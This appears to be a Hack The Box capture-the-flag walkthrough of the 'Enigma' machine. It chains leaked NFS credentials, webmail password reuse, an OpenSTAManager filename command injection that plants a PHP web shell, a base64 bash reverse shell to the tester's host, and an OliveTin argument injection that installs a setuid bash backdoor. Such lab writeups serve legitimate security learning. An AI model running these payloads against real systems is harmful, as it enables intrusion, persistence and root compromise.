Enigma Machine Writeup - Season 11

Enigma

Enigma Overview

Enigma is an easy rated machine from the HacktheBox Season 11. Despite the “easy” label, it’s a genuinely satisfying chain, an unauthenticated NFS leak feeds into a mail account, which leaks another set of credentials for a completely different application, which turns out to be running a patched-but-still-vulnerable CRM suite, and the privilege escalation is a misconfigured internal automation tool that happily executes root-level commands for anyone who asks nicely.


Enumeration

Target: 10.129.239.191

nmap -p- 10.129.239.191
Starting Nmap 7.95 ( https://nmap.org ) at 2026-07-08 13:43 EDT
Nmap scan report for 10.129.239.191
Host is up (0.0088s latency).
Not shown: 65522 closed tcp ports (conn-refused)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
110/tcp   open  pop3
111/tcp   open  rpcbind
143/tcp   open  imap
993/tcp   open  imaps
995/tcp   open  pop3s
2049/tcp  open  nfs
43549/tcp open  unknown
43787/tcp open  unknown
53303/tcp open  unknown
54343/tcp open  unknown
57007/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 5.54 seconds
nmap -p22,80,110,111,143,993,995,2049 -sCV 10.129.239.191 -oX target.xml

Nmap scan report for 10.129.239.191
Host is up (0.0077s latency).

PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0c:4b:d2:76:ab:10:06:92:05:dc:f7:55:94:7f:18:df (ECDSA)
|_  256 2d:6d:4a:4c:ee:2e:11:b6:c8:90:e6:83:e9:df:38:b0 (ED25519)
80/tcp   open  http     nginx 1.24.0 (Ubuntu)
|_http-server-header: nginx/1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://enigma.htb/
110/tcp  open  pop3     Dovecot pop3d
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: AUTH-RESP-CODE TOP SASL STLS CAPA PIPELINING UIDL RESP-CODES
111/tcp  open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100003  3,4         2049/tcp   nfs
|   100003  3,4         2049/tcp6  nfs
|   100005  1,2,3      34752/udp6  mountd
|   100005  1,2,3      44715/tcp6  mountd
|   100005  1,2,3      54343/tcp   mountd
|   100005  1,2,3      55912/udp   mountd
|   100021  1,3,4      41521/tcp6  nlockmgr
|   100021  1,3,4      43787/tcp   nlockmgr
|   100021  1,3,4      48904/udp6  nlockmgr
|   100021  1,3,4      60370/udp   nlockmgr
|   100024  1          37617/tcp6  status
|   100024  1          43049/udp6  status
|   100024  1          56543/udp   status
|   100024  1          57007/tcp   status
|   100227  3           2049/tcp   nfs_acl
|_  100227  3           2049/tcp6  nfs_acl
143/tcp  open  imap     Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
|_imap-capabilities: post-login listed LOGIN-REFERRALS capabilities IDLE IMAP4rev1 STARTTLS LOGINDISABLEDA0001 have ENABLE OK Pre-login more SASL-IR ID LITERAL+
993/tcp  open  ssl/imap Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
|_imap-capabilities: post-login listed capabilities AUTH=PLAINA0001 IMAP4rev1 IDLE have LOGIN-REFERRALS ENABLE OK Pre-login more SASL-IR ID LITERAL+
995/tcp  open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=enigma
| Subject Alternative Name: DNS:enigma
| Not valid before: 2026-02-18T20:33:33
|_Not valid after:  2036-02-16T20:33:33
|_pop3-capabilities: USER TOP SASL(PLAIN) AUTH-RESP-CODE CAPA PIPELINING UIDL RESP-CODES
2049/tcp open  nfs_acl  3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.68 seconds
xsltproc target.xml -o target.html

firefox target.html

Nmap Scan Result Nmap Scan Result

echo '10.129.239.191 enigma.htb' | sudo tee -a /etc/hosts

10.129.239.191 enigma.htb

Enigma

fuf -u http://enigma.htb/ -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.enigma.htb" -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://enigma.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.enigma.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

:: Progress: [23/114442] :: Job [1/1] :: 0 req/sec :: Duration: [0:00:00]:: Progress: [11408/114442] :: Job [1/1] :: 5714 req/sec :: Duration: [0::: 
Progress: [12066/114442] :: Job [1/1]  Job [1/1] :: 4545 req/sec :: Duration:

[0:mail001                 [Status: 200, Size: 5327, Words: 366, Lines: 97, Duration: 320ms]
:: Progress: [23980/114442] :: Job [1/1] :: 4878 req/sec :: Duration: [0:00:00]

FFUF

echo '10.129.239.191 mail001.enigma.htb' | sudo tee -a /etc/hosts

10.129.239.191 mail001.enigma.htb

Mail001

showmount -e 10.129.239.191
Export list for 10.129.239.191:
/srv/nfs/onboarding *

That * means no IP restriction, anyone can mount it.

mkdir -p /tmp/onboarding
sudo mount -t nfs 10.129.239.191:/srv/nfs/onboarding /tmp/onboarding -o ro
ls -la /tmp/onboarding
total 8
drwxr-xr-x  2 root root 4096 Feb 19 14:54 .
drwxrwxrwt 22 root root  600 Jul  8 15:34 ..
-rw-r--r--  1 root root 1751 Feb 19 14:53 New_Employee_Access.pdf

One file, world-readable, and named exactly like the kind of onboarding paperwork that ends up with a temp password in it:

cp /tmp/onboarding/New_Employee_Access.pdf ~/Enigma/
pdftotext New_Employee_Access.pdf New_Employee_Access.txt

Output:

Enigma Corp IT Department - New Employee System Access

Employee: Kevin Mitchell
Department: Operations
Provisioned by: IT Department
Date: 2024-03-01

Webmail Access
URL: http://mail001.enigma.htb
Username: kevin
Password: Enigma2024!

Please change your password upon first login.
For support contact: it@enigma.htb.
This document contains confidential internal information intended solely for the recipient. Unauthorized access, disclosure, or distribution is strictly prohibited. Generated automatically by Enigma Corp Identity Management System.

Kevin’s Credentials

Before assuming these creds were scoped to webmail only, I tried them broadly:

$ ssh kevin@10.129.239.191
The authenticity of host '10.129.239.191 (10.129.239.191)' can't be established.
ED25519 key fingerprint is SHA256:OZNUeTZ9jastNKKQ1tFXatbeOZzSFg5Dt7nhwhjorR0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.239.191' (ED25519) to the list of known hosts.

kevin@10.129.239.191: Permission denied (publickey).

The credentials worked and I was able to login to the webmail.

Roundcube

Again, I tried to enumerate the roundcube webmail, checked the version of the roundcube, searched for any exploits, but nothing worked. Roundcube 1.6.16 is the patched release, not a vulnerable one.

Roundcube Version

Sarah, in Accounts, provisioned the same way Kevin was. Given the PDF explicitly told Kevin to change his temp password and nothing about this org suggests anyone actually does that, the cheap hypothesis was password reuse across staff, not a new exploit, just organizational laziness.

I tried to login to the webmail using sandra username and the default password and Boom! I was able to login to the webmail using sandra’s credentials. Sandra:Enigma2024!

Login as Sandra

Sandra Inbox:

Re: OpenSTAManager Access Request

---SNIP---

URL: <http://support_001.enigma.htb>
Username: admin
Password: Ne3s4rtars78s

---SNIP---

OpenSTAManager

Next, I will add support_001.enigma.htb to my /etc/hosts file and try to login to the OpenSTAManager using the credentials provided in the email.

echo '10.129.239.191 support_001.enigma.htb' | sudo tee -a /etc/hosts

10.129.239.191 support_001.enigma.htb

OpenSTAManager Login

Logged in successfully to the OpenSTAManager using the credentials provided in the email.

OpenSTAManager Dashboard

Opensta version: Opensta Version

This OpenSTAManager version is vulnerable to an OS Command Injection in P7M File Processing.

The mechanism; When OpenSTAManager verifies a .p7m signed file, it shells out to OpenSSL:

GitHub Advisory - CVE-2025-69212 + POC

OS Command Injection

Found a detailed POC on the published advisory. I will use the POC to exploit the vulnerability and get a reverse shell.

POC

Following the POC in the advisory, I will create a malicious zip file that contains a specially crafted filename that will execute a command to create a PHP web shell on the server.

cat > exploit.py << 'EOF'
import zipfile

cmd = 'cd files && echo \'<?php system($_GET["c"]); ?>\' > SHELL.php'
malicious_filename = f'invoice.p7m";{cmd};echo ".p7m'

with zipfile.ZipFile('exploit.zip', 'w') as zf:
    zf.writestr(malicious_filename, b"DUMMY_P7M_CONTENT")
EOF

python3 exploit.py

Reading the filename against the vulnerable exec() line: invoice.p7m" closes the double quote that was meant to wrap the whole (benign-looking) filename. ;{cmd}; runs my payload as its own statement regardless of whether the preceding OpenSSL call succeeded. echo ".p7m reopens a stray quote and absorbs the leftover -inform DER -out "..." tail as harmless arguments to echo, so nothing throws a shell syntax error. cmd itself stays slash-free (cd files, not cd /files) to satisfy the extraction constraint.

ls

exploit.py   New_Employee_Access.pdf  target.xml
exploit.zip  target.html

To verify:

unzip -l exploit.zip
Archive:  exploit.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
       17  2026-07-08 16:48   invoice.p7m";cd files && echo '<?php system($_GET["c"]); ?>' > SHELL.php;echo ".p7m
---------                     -------
       17                     1 file

Malicious Zip File

Uploaded via the “Importazione FE” file picker (Carica un file ZIP contenente i file XML). The app responded with:

Error: Start tag expected, '<' not found

Upload Error

which is actually confirmation, not failure. That’s the XML/P7M parser choking on DUMMY_P7M_CONTENT because it isn’t valid signed XML, but that error fires after our injected filename already ran through exec()

Confirmed with:

curl "http://support_001.enigma.htb/files/SHELL.php?c=id"

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Getting a reverse shell from the web server:

Base64-encode the payload so what travels over the wire is just alphanumerics, then decode-and-execute on the target side:

echo -n 'bash -i >& /dev/tcp/10.10.14.51/4444 0>&1' | base64 -w0

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41MS80NDQ0IDA+JjE=

Listener:

nc -lvnp 4444
listening on [any] 4444 ...
curl -G "<http://support_001.enigma.htb/files/SHELL.php>" --data-urlencode 'c=echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41MS80NDQ0IDA+JjE= | base64 -d | bash'

Received a reverse shell on my listener:

nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 10.129.239.191 40036
bash: cannot set terminal process group (1501): Inappropriate ioctl for device
bash: no job control in this shell
www-data@enigma:~/html/openstamanager/files$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

I then stabilize this shell — the bash: cannot set terminal process group warnings mean we’re in a raw pty with no job control, which makes editing commands, using Ctrl+C selectively, or running interactive tools like su painful:

/html/openstamanager$ script /dev/null -c bash
script /dev/null -c bash
Script started, output log file is '/dev/null'.
www-data@enigma:~/html/openstamanager$ ^Z
[1]+  Stopped                 nc -lvnp 4444

stty raw -echo; fg

I pressed enter twice then:

Press enter twice, then:
export TERM=xterm

I enumerated the system, checked all the files and directories I have access to, and found the config.inc.php file in the OpenSTAManager directory. I checked the config.inc.php file and found the database credentials.

www-data@enigma:~/html/openstamanager$ cat config.inc.php
cat config.inc.php
<?php

/*
 * OpenSTAManager: il software gestionale open source per l'assistenza tecnica e la fatturazione
 * Copyright (C) DevCode s.r.l.
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program. If not, see <https://www.gnu.org/licenses/>.
 */

// Impostazioni di base per l'accesso al database
$db_host = 'localhost';
#$db_username = 'brollin';
#$db_password = 'Fri3nds@9099';
$db_name = 'openstamanager';
// $port = '|port|';
$db_options = [
    // 'sort_buffer_size' => '2M',
];

// Tema selezionato per il front-end
$theme = 'default';

// Impostazioni di sicurezza
$redirectHTTPS = false; // Redirect automatico delle richieste da HTTP a HTTPS
$disableCSRF = true; // Protezione contro CSRF

// Impostazioni di debug
$debug = false;

$disable_hooks = false;

// Permette di accedere solo con un ip (da utilizzare per manutenzione)
$maintenance_ip = '';

// Personalizzazione dei gestori dei tag personalizzati
$HTMLWrapper = null;
$HTMLHandlers = [];
$HTMLManagers = [];

// Lingua del progetto (per la traduzione e la conversione numerica)
$lang = 'en_GB';
// Personalizzazione della formattazione di timestamp, date e orari
$formatter = [
    'timestamp' => 'd/m/Y H:i',
    'date' => 'd/m/Y',
    'time' => 'H:i',
    'number' => [
        'decimals' => ',',
        'thousands' => '',
    ],
];

// Ulteriori file CSS e JS da includere
$assets = [
    'css' => [],
    'print' => [],
    'js' => [],
];

// Configura il limite di tempo di esecuzione del file cron.php
$php_time_limit = '';
su brollin
su: user brollin does not exist or the user entry does not contain all the required fields

Worth stating plainly rather than smoothing it out of the narrative: brollin is a MySQL user, not a system user.

I then used the database credentials to login to the MySQL database and found the users table in the openstamanager database. I checked the users table and found the password hash for the admin user.

mysql -u brollin -p'Fri3nds@9099' lhost openstamanager -e "SELECT username, password FROM zz_users;"
mysql: [Warning] Using a password on the command line interface can be insecure.
+----------+--------------------------------------------------------------+
| username | password                                                     |
+----------+--------------------------------------------------------------+
| admin    | $2y$10$rTJVUNyGGKPlhw2cFdf5AeDHVMhnIChddcHx2XxVLMQS2KsuSz4Pu |
| haris    | $2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC |
+----------+--------------------------------------------------------------+
www-data@enigma:~/html/openstamanager$ 

I then used the hash to crack the password for the admin user using hashcat.

hashid harris-hash
--File 'harris-hash'--
Analyzing '$2y$10$WHf1T79sxjsZongUKT2jGeexTkvihBQyCZeoYXmObiNphrsZDr6eC'
[+] Blowfish(OpenBSD) 
[+] Woltlab Burning Board 4.x 
[+] bcrypt 
--End of file 'harris-hash'--
hashcat -m 3200 harris-hash /usr/share/wordlists/rockyou.txt --force

Hashcat

After cracking the hash, I tried to use SSH to login as the harris user using the cracked password.

ssh haris@10.129.239.191
haris@10.129.239.191: Permission denied (publickey).

I’m guessing the NoPasswordAuthentication is set to no in the sshd_config file, i then tried to change my user from www-data to haris using the su command and it worked.

www-data@enigma:~/html/openstamanager$ su haris
Password: 

haris@enigma:/var/www/html/openstamanager$ whoami
haris

haris@enigma:/var/www/html/openstamanager$ id
uid=1000(haris) gid=1000(haris) groups=1000(haris),100(users)

haris@enigma:/var/www/html/openstamanager$ cd /home
haris@enigma:/home$ ls
haris  it  kevin  sarah

Capturing the user flag:

haris@enigma:/home$ cd haris
haris@enigma:~$ ls
mail  user.txt
haris@enigma:~$ cat user.txt
5828cee***********************

Harris doesn’t hace sudo privileges.

haris@enigma:~$ sudo -l
[sudo] password for haris: 
Sorry, user haris may not run sudo on enigma

Seems to be a dead end, kept enumerating the system, and found some process running as root that is owned by haris.

haris@enigma:~$ ps -ef | grep 1440
root        1440       1  0 17:41 ?        00:00:00 /usr/local/bin/OliveTin
haris       3570    3425  0 21:40 pts/0    00:00:00 grep --color=auto 1440
haris@enigma:~$ 

ps -ef | grep -E '2238|2244'
root        2238       1  0 18:09 ?        00:00:02 /usr/libexec/fwupd/fwupd
root        2244       1  0 18:09 ?        00:00:00 /usr/libexec/upowerd
haris       3586    3425  0 21:42 pts/0    00:00:00 grep --color=auto -E 2238|2244
haris@enigma:~$ 

Checked the OliveTin yaml file for the configuration and found some docs:

cat /etc/OliveTin/config.yaml 2>/dev/null
---SNIP---

# This setting effectively enables or disables guests. 
# If set to "true", then users will have to login to do anything.
authRequireGuestsToLogin: false

# This form of auth is the simplest to setup - just define users and passwords
# in the config. OliveTin also supports header-based auth, OAuth2,
# and JWT authentication which are documented separately.
#
# Docs: https://docs.olivetin.app/security/local.html
# 
# How to get a hashed password:
# Docs: https://docs.olivetin.app/security/local.html#_get_a_argon2id_hashed_password
authLocalUsers:
  enabled: true
#  users:
#    - username: alice
#      usergroup: admins
#      password: "$argon2id$v=19$m=65536,t=4,p=2$puyxA0s555TSFx7hnFLCXA$PyhLGpZtvpMMvc2DgMWkM8OJMKO55euwV5gm//1iwx4"

# Security - Access Control

---SNIP---

That config confirms the vulnerability, Why this is exploitable rather than just reaching for the API:

authRequireGuestsToLogin: false — guests (unauthenticated requests) are allowed to interact with OliveTin at all.

Among the configured actions, one stood out:

- title: Backup Database
  id: backup_database
  shell: "mysqldump -u {{ db_user }} -p'{{ db_pass }}' {{ db_name }} > /opt/backups/backup.sql"
  arguments:
    - name: db_user
      type: ascii_identifier
    - name: db_pass
      type: password
    - name: db_name
      type: ascii_identifier

Before injecting anything, I needed the action’s real API identifier. OliveTin’s frontend talks to a ConnectRPC gateway; the dashboard-listing endpoint reveals each action’s bindingId (used as actionId on the execution endpoints):

curl -s http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiService/GetDashboard \
  -H 'Content-Type: application/json' \
  --data '{}' \
  | jq '.. | objects | select(.title? == "Backup Database") | .action'
{
  "bindingId": "backup_database",
  "title": "Backup Database",
  "icon": "⛁",
  "canExec": true,
  "arguments": [
    {
      "name": "db_user",
      "title": "db_user",
      "type": "ascii_identifier",
      "defaultValue": "backup_svc",
      "choices": [],
      "description": "",
      "suggestions": {},
      "suggestionsBrowserKey": ""
    },
    {
      "name": "db_pass",
      "title": "db_pass",
      "type": "password",
      "defaultValue": "",
      "choices": [],
      "description": "",
      "suggestions": {},
      "suggestionsBrowserKey": ""
    },
    {
      "name": "db_name",
      "title": "db_name",
      "type": "ascii_identifier",
      "defaultValue": "production",
      "choices": [],
      "description": "",
      "suggestions": {},
      "suggestionsBrowserKey": ""
    }
  ],
  "popupOnStart": "execution-dialog",
  "order": 23,
  "timeout": 3,
  "datetimeRateLimitExpires": ""
}

canExec: true for an unauthenticated request is the confirmation, this is triggerable without ever logging in. With the bindingId known, the payload drops a setuid copy of bash rather than trying to smuggle an interactive shell through the API directly:

actionId='backup_database'
cmd="install -m 4755 /bin/bash /tmp/.bs"

cat > /tmp/backdoor.json <<JSON
{
  "actionId": "$actionId",
  "arguments": [
    {"name": "db_user", "value": "backup_svc"},
    {"name": "db_pass", "value": "x' ; $cmd ; #"},
    {"name": "db_name", "value": "production"}
  ]
}
JSON
curl -s -X POST \
  -H 'Content-Type: application/json' \
  --data @/tmp/backdoor.json \
  http://127.0.0.1:1337/api/olivetin.api.v1.OliveTinApiSer

// Output:
"logEntry":{"datetimeStarted":"2026-07-08 22:12:02", "actionTitle":"Backup Database", "output":"mysqldump: [Warning] Using a password on the command line interface can be insecure.\nUsage: mysqldump [OPTIONS] database [tables]\nOR     mysqldump [OPTIONS] --databases [OPTIONS] DB1 [DB2 DB3...]\nOR     mysqldump [OPTIONS] --all-databases [OPTIONS]\nFor more options, use mysqldump --help\n", "timedOut":false, "exitCode":0, "user":"guest", "userClass":"", "actionIcon":"⛁", "tags":[], "executionTrackingId":"c221fa87-fe8a-4730-9e5c-aa738e0fb555", "datetimeFinished":"2026-07-08 22:12:02", "executionStarted":true, "executionFinished":true, "blocked":false, "datetimeIndex":"0", "canKill":false, "datetimeRateLimitExpires":"", "bindingId":"backup_database"}}

Running /tmp/.bs plainly would just get a normal shell as haris again. The -p (privileged) flag is what tells bash not to reset its effective UID back to the real UID:

/tmp/.bs -p
.bs-5.2# whoami
root
.bs-5.2# whoami
root
.bs-5.2# cd /root
.bs-5.2# ls
root.txt
.bs-5.2# cat root.txt
4e31bd*****************************

Happy Hacking!